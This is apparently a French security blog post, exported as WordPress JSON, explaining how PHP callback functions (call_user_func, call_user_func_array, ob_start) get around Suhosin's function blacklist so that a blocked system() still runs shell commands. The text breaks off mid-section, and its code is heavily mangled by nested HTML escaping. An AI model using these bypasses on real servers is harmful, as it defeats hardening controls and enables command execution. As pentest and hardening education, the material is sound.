{"id":737,"date":"2013-03-27T20:03:31","date_gmt":"2013-03-27T18:03:31","guid":{"rendered":"https:\/\/www.asafety.fr\/?p=737"},"modified":"2016-07-25T00:41:49","modified_gmt":"2016-07-24T22:41:49","slug":"bypass-php-suhosin-function-blacklist","status":"publish","type":"post","link":"https:\/\/www.asafety.fr\/en\/vuln-exploit-poc\/bypass-php-suhosin-function-blacklist\/","title":{"rendered":"Bypass PHP Suhosin function blacklist"},"content":{"rendered":"<p><\/p>\n<p><p style=\"text-align: center;\"><a href=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/suhosin_logo_disable_php_system_exec_functions.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"size-medium wp-image-744 aligncenter\" alt=\"suhosin_logo_disable_php_system_exec_functions\" src=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/suhosin_logo_disable_php_system_exec_functions-300x192.jpg\" width=\"300\" height=\"192\" srcset=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/suhosin_logo_disable_php_system_exec_functions-300x192.jpg 300w, https:\/\/www.asafety.fr\/wp-content\/uploads\/suhosin_logo_disable_php_system_exec_functions.jpg 302w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><\/p>\n<p style=\"text-align: left;\">Je suis tomb\u00e9 hier sur un article russe de Profexer fort int\u00e9ressant, qui concerne\u00a0l\u2019outre-passement\u00a0(<a title=\"bypass\" href=\"http:\/\/fr.wikipedia.org\/wiki\/Bypass\" target=\"_blank\"><em>bypass<\/em><\/a>) de la directive &#8220;<a title=\"suhosin.executor.func.blacklist\" href=\"http:\/\/www.hardened-php.net\/suhosin\/configuration.html#suhosin.executor.func.blacklist\" target=\"_blank\">suhosin.executor.func.blacklist<\/a>&#8221; dans les nouvelles versions de PHP. Je tiens \u00e0 revenir sur ces m\u00e9thodes en \u00e9claircissant certains aspects et pour en enrichir d&#8217;autres.<\/p>\n<h2>Safe_mode, disable_functions &amp; Suhosin<\/h2>\n<p>En vue d&#8217;un bref rappel historique, le moteur PHP dispose de nombreuses directives et fonctionnalit\u00e9s pour se prot\u00e9ger d&#8217;attaques telles que l&#8217;ex\u00e9cution de code PHP arbitraire. Lors d&#8217;un pentest\/audit d&#8217;une application web PHP, l&#8217;auditeur peut \u00eatre amen\u00e9 \u00e0 exploiter une ex\u00e9cution de code sur la cible. Si l&#8217;application cible est d\u00e9ploy\u00e9e sur un environnement PHP s\u00e9curis\u00e9, certaines fonctions PHP peuvent avoir \u00e9t\u00e9 bloqu\u00e9es.<\/p>\n<p>A l&#8217;origine, PHP fournit diverses directives dans son php.ini. On peut citer notamment :<\/p>\n<ul>\n<li>Le <a title=\"Safe_mod\" href=\"http:\/\/php.net\/manual\/fr\/features.safe-mode.php\" target=\"_blank\">Safe_mode<\/a>\u00a0: directive bool\u00e9enne qui d\u00e9sactive (entre autres) un grand nombres de <a title=\"Fonctions d\u00e9sactiv\u00e9es par le safe mod\" href=\"http:\/\/www.php.net\/manual\/fr\/features.safe-mode.functions.php\" target=\"_blank\">fonctions natives de PHP<\/a>, jug\u00e9es dangereuses. Cette directive est consid\u00e9r\u00e9e obsol\u00e8te depuis PHP 5.3.0 et a \u00e9t\u00e9 supprim\u00e9e dans la version 5.4.0.<\/li>\n<li>La directive <a title=\"disable_functions\" href=\"http:\/\/www.php.net\/manual\/fr\/ini.core.php#ini.disable-functions\" target=\"_blank\">disable_function<\/a>s, pr\u00e9sente depuis PHP 4.3.2, qui permet de lister une s\u00e9rie de fonctions \u00e0 blacklister dans PHP, s\u00e9par\u00e9es par des virgules.<\/li>\n<\/ul>\n<p>Suite \u00e0 l&#8217;obsolescence du Safe_mode, un nouveau module a vu le jour dans le moteur PHP, du nom de <a title=\"Suhosin\" href=\"http:\/\/www.hardened-php.net\/suhosin\/\" target=\"_blank\">Suhosin<\/a>. La plupart des d\u00e9ploiements de PHP actuels exploitent ce module, qui permet des r\u00e9glages de s\u00e9curit\u00e9 d&#8217;une toute autre finesse.<\/p>\n<blockquote>\n<p>What is Suhosin?<\/p>\n<p>Suhosin is an advanced protection system for PHP installations. It was designed to protect servers and users from known and unknown flaws in PHP applications and the PHP core. Suhosin comes in two independent parts, that can be used separately or in combination. The first part is a small patch against the PHP core, that implements a few low-level protections against bufferoverflows or format string vulnerabilities and the second part is a powerful PHP extension that implements all the other protections.<\/p>\n<p>Unlike the PHP Hardening-Patch Suhosin is binary compatible to normal PHP installation, which means it is compatible to 3rd party binary extension like ZendOptimizer.<\/p>\n<\/blockquote>\n<p>Lorsque Suhosin est d\u00e9ploy\u00e9 dans un environnement web PHP, sa configuration se g\u00e8re dans le fichier suhosin.ini g\u00e9n\u00e9ralement pr\u00e9sent dans\u00a0\/etc\/php5\/&lt;YOUR PHP INSTALLED MOD&gt;\/conf.d\/suhosin.ini, o\u00f9 votre mode d&#8217;installation PHP peut \u00eatre interne \u00e0 Apache2, en mode CLI ou CGI.<\/p>\n<h2>Suhosin.ini et functions\u00a0blacklist<\/h2>\n<p>Le fichier de configuration suhosin.ini reprend une syntaxe de directives similaires au php.ini, et on y retrouve des directives du type :<\/p>\n<p>[bash]&amp;amp;amp;amp;amp;lt;\/p&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n&amp;amp;amp;amp;amp;lt;p&amp;amp;amp;amp;amp;gt;; Executor Options&amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n;suhosin.executor.max_depth = 0&amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n;suhosin.executor.include.max_traversal = 0&amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n;suhosin.executor.include.whitelist =&amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n;suhosin.executor.include.blacklist =&amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n;suhosin.executor.include.allow_writable_files = on&amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n;suhosin.executor.func.whitelist =&amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n;suhosin.executor.func.blacklist =&amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n;suhosin.executor.eval.whitelist =&amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n;suhosin.executor.eval.blacklist =&amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n;suhosin.executor.disable_eval = off&amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n;suhosin.executor.disable_emodifier = off&amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n;suhosin.executor.allow_symlink = off&amp;amp;amp;amp;amp;lt;\/p&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n&amp;amp;amp;amp;amp;lt;p&amp;amp;amp;amp;amp;gt;[\/bash]<\/p>\n<p>La directive qui nous int\u00e9resse pour cet article est &#8220;suhosin.executor.func.blacklist&#8221;. Les fonctions indiqu\u00e9es pour cette directive sont d\u00e9sactiv\u00e9es \u00e0 l&#8217;ex\u00e9cution dans les scripts PHP ainsi que dans les eval(). Notez qu&#8217;il est possible de r\u00e9gler en finesse uniquement les fonctions \u00e0 d\u00e9sactiver\/autoriser pour les eval().<\/p>\n<p>En guise de d\u00e9monstration, voyons un cas concret avec la fonction <a title=\"system()\" href=\"http:\/\/php.net\/manual\/fr\/function.system.php\" target=\"_blank\">system()<\/a>\u00a0(PHP4, PHP5), qui permet l&#8217;ex\u00e9cution de commande shell sur le serveur et affiche la sortie standard de la commande directement dans le navigateur :<\/p>\n<p>[php]&amp;amp;amp;amp;amp;lt;\/p&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n&amp;amp;amp;amp;amp;lt;p&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;amp;amp;lt;?php&amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n echo &amp;amp;amp;amp;amp;amp;quot;suhosin.executor.func.blacklist = &amp;amp;amp;amp;amp;amp;quot; . ini_get(&amp;amp;amp;amp;amp;amp;quot;suhosin.executor.func.blacklist&amp;amp;amp;amp;amp;amp;quot;) . &amp;amp;amp;amp;amp;amp;quot;&amp;amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;amp;amp;quot;;&amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n echo &amp;amp;amp;amp;amp;amp;quot;system(&#8216;uname -a&#8217;);&amp;amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;amp;amp;quot;;&amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n system(&amp;amp;amp;amp;amp;amp;quot;uname -a&amp;amp;amp;amp;amp;amp;quot;);&amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n?&amp;amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;amp;lt;\/p&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n&amp;amp;amp;amp;amp;lt;p&amp;amp;amp;amp;amp;gt;[\/php]<\/p>\n<p><strong>R\u00e9sultats :<\/strong><\/p>\n<p>[bash]suhosin.executor.func.blacklist =&amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\nsystem(&#8216;uname -a&#8217;);&amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\nLinux 2.6.38-16-generic-pae #67-Ubuntu SMP Thu Sep 6 18:18:02 UTC 2012 i686 GNU\/Linux[\/bash]<\/p>\n<p>Maintenant, si l&#8217;on d\u00e9sactive la fonction system() au travers de la directive Suhosin (reboot Apache n\u00e9cessaire) :<\/p>\n<p>[bash]suhosin.executor.func.blacklist = system[\/bash]<\/p>\n<p>L&#8217;ex\u00e9cution du script nous retourne :<\/p>\n<p>[bash]suhosin.executor.func.blacklist = system&amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\nsystem(&#8216;uname -a&#8217;);&amp;amp;amp;amp;amp;lt;\/p&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n&amp;amp;amp;amp;amp;lt;p&amp;amp;amp;amp;amp;gt;PHP Warning: \u00a0system() has been disabled for security reasons in \/var\/www\/x.php on line 4[\/bash]<\/p>\n<p>La question qui se pose alors est : &#8220;<strong>Comment <em>bypasser<\/em> cette restriction ?<\/strong>&#8220;<\/p>\n<h2>Bypass de la liste noire des fonctions Suhosin<\/h2>\n<p>L&#8217;id\u00e9e pour ex\u00e9cuter des commandes sur le serveur via la fonction system() sans appeler celle-ci directement, est d&#8217;utiliser d&#8217;autres fonctions natives \u00e0 PHP qui exploitent des <a title=\"callbacks\" href=\"http:\/\/fr.wikipedia.org\/wiki\/Fonction_de_rappel\" target=\"_blank\"><em>callbacks<\/em><\/a>. Par callback, il faut entendre des pointeurs de fonctions ou des \u00e9valuations de code fonctionnel pour appeler en d\u00e9finitive notre fonction system() avec une couche d&#8217;abstraction.<\/p>\n<p>Pour la liste des exemples qui suivent, la fonction system() est blacklist\u00e9e dans suhosin :<\/p>\n<div id=\"attachment_738\" style=\"width: 274px\" class=\"wp-caption aligncenter\"><a href=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/phpinfo_suhosin_system_blacklisted.png\"><img loading=\"lazy\" decoding=\"async\" aria-describedby=\"caption-attachment-738\" class=\"size-medium wp-image-738\" alt=\"system() blacklist\u00e9e dans suhosin\" src=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/phpinfo_suhosin_system_blacklisted-264x300.png\" width=\"264\" height=\"300\" srcset=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/phpinfo_suhosin_system_blacklisted-264x300.png 264w, https:\/\/www.asafety.fr\/wp-content\/uploads\/phpinfo_suhosin_system_blacklisted.png 607w\" sizes=\"auto, (max-width: 264px) 100vw, 264px\" \/><\/a><p id=\"caption-attachment-738\" class=\"wp-caption-text\">system() blacklist\u00e9e dans suhosin<\/p><\/div>\n<h3>call_user_func (PHP4, PHP5)<\/h3>\n<p><a title=\"call-user-func\" href=\"http:\/\/www.php.net\/manual\/fr\/function.call-user-func.php\" target=\"_blank\">Documentation de la fonction.<\/a><\/p>\n<blockquote>\n<p>call_user_func\u00a0\u2014\u00a0Appelle une fonction de rappel fournie par le premier argument<\/p>\n<\/blockquote>\n<p><strong>Code de bypass :<\/strong><\/p>\n<p>[php]&amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n&amp;amp;amp;amp;amp;amp;lt;?php&amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n $cmd = &amp;amp;amp;amp;amp;amp;quot;uname -a&amp;amp;amp;amp;amp;amp;quot;;&amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n echo &amp;amp;amp;amp;amp;amp;quot;suhosin.executor.func.blacklist = &amp;amp;amp;amp;amp;amp;quot; . ini_get(&amp;amp;amp;amp;amp;amp;quot;suhosin.executor.func.blacklist&amp;amp;amp;amp;amp;amp;quot;) . &amp;amp;amp;amp;amp;amp;quot;&amp;amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;amp;amp;quot;;&amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n echo &amp;amp;amp;amp;amp;amp;quot;call_user_func (PHP4, PHP5):&amp;amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;amp;amp;quot;;&amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n call_user_func(&#8216;system&#8217;, $cmd);&amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n?&amp;amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n[\/php]<\/p>\n<p><span style=\"color: #339966;\"><strong>R\u00e9sultats fonctionnel :<\/strong><\/span><\/p>\n<p>[bash]suhosin.executor.func.blacklist = system&amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\ncall_user_func (PHP4, PHP5):&amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\nLinux 2.6.38-16-generic-pae #67-Ubuntu SMP Thu Sep 6 18:18:02 UTC 2012 i686 GNU\/Linux[\/bash]<\/p>\n<h3>call_user_func_array (PHP4 &gt;= 4.0.4, PHP5)<\/h3>\n<p><a title=\"call-user-func-array\" href=\"http:\/\/www.php.net\/manual\/fr\/function.call-user-func-array.php\" target=\"_blank\">Documentation de la fonction.<\/a><\/p>\n<blockquote>\n<p>call_user_func_array\u00a0\u2014\u00a0Appelle une fonction de rappel avec les param\u00e8tres rassembl\u00e9s en tableau<\/p>\n<\/blockquote>\n<p><strong>Code de bypass :<\/strong><\/p>\n<p>[php]&amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n&amp;amp;amp;amp;amp;amp;lt;?php&amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n $cmd = &amp;amp;amp;amp;amp;amp;quot;uname -a&amp;amp;amp;amp;amp;amp;quot;;&amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n echo &amp;amp;amp;amp;amp;amp;quot;suhosin.executor.func.blacklist = &amp;amp;amp;amp;amp;amp;quot; . ini_get(&amp;amp;amp;amp;amp;amp;quot;suhosin.executor.func.blacklist&amp;amp;amp;amp;amp;amp;quot;) . &amp;amp;amp;amp;amp;amp;quot;&amp;amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;amp;amp;quot;;&amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n echo &amp;amp;amp;amp;amp;amp;quot;call_user_func_array (PHP4 &amp;amp;amp;amp;amp;amp;gt;= 4.0.4, PHP5):&amp;amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;amp;amp;quot;;&amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n call_user_func_array(&#8216;system&#8217;, array($cmd));&amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n?&amp;amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n[\/php]<\/p>\n<p><span style=\"color: #339966;\"><strong>R\u00e9sultats fonctionnel :<\/strong><\/span><\/p>\n<p>[bash]suhosin.executor.func.blacklist = system&amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\ncall_user_func_array (PHP4 &amp;amp;amp;amp;amp;amp;gt;= 4.0.4, PHP5):&amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\nLinux 2.6.38-16-generic-pae #67-Ubuntu SMP Thu Sep 6 18:18:02 UTC 2012 i686 GNU\/Linux[\/bash]<\/p>\n<h3>ob_start (PHP4, PHP5)<\/h3>\n<p><a title=\"ob-start\" href=\"http:\/\/www.php.net\/manual\/fr\/function.ob-start.php\" target=\"_blank\">Documentation de la fonction.<\/a><\/p>\n<blockquote>\n<p>ob_start\u00a0\u2014\u00a0Enclenche la temporisation de sortie<\/p>\n<\/blockquote>\n<p><strong>Code de bypass :<\/strong><\/p>\n<p>[php]&amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n&amp;amp;amp;amp;amp;amp;lt;?php&amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n $cmd = &amp;amp;amp;amp;amp;amp;quot;uname -a&amp;amp;amp;amp;amp;amp;quot;;&amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n echo &amp;amp;amp;amp;amp;amp;quot;suhosin.executor.func.blacklist = &amp;amp;amp;amp;amp;amp;quot; . ini_get(&amp;amp;amp;amp;amp;amp;quot;suhosin.executor.func.blacklist&amp;amp;amp;amp;amp;amp;quot;) . &amp;amp;amp;amp;amp;amp;quot;&amp;amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;amp;amp;quot;;&amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n echo &amp;amp;amp;amp;amp;amp;quot;ob_start (PHP4, PHP5):&amp;amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;amp;amp;quot;;&amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n ob_start(&#8216;system&#8217;);&amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n echo $cmd;&amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n ob_end_flush();&amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n?&amp;amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n[\/php]<\/p>\n<p><span style=\"color: #339966;\"><strong>R\u00e9sultats fonctionnel :<\/strong><\/span><\/p>\n<p>[bash]suhosin.executor.func.blacklist = system&amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\nob_start (PHP4, PHP5):&amp;amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\nLinux 2.6.38-16-generic-pae #67-Ubuntu SMP Thu Sep 6 18:18:02 UTC 2012 i686 GNU\/Linux[\/bash]<\/p>\n<h3>ReflectionFunction (PHP5)<\/h3>\n<p><a title=\"reflectionfunction\" href=\"http:\/\/www.php.net\/manual\/fr\/class.reflectionfunction.php\" target=\"_blank\">Documentation de l&#8217;objet.<\/a><\/p>\n<blockquote>\n<p>La classe\u00a0<strong>ReflectionFunction<\/strong>\u00a0rapporte des informations 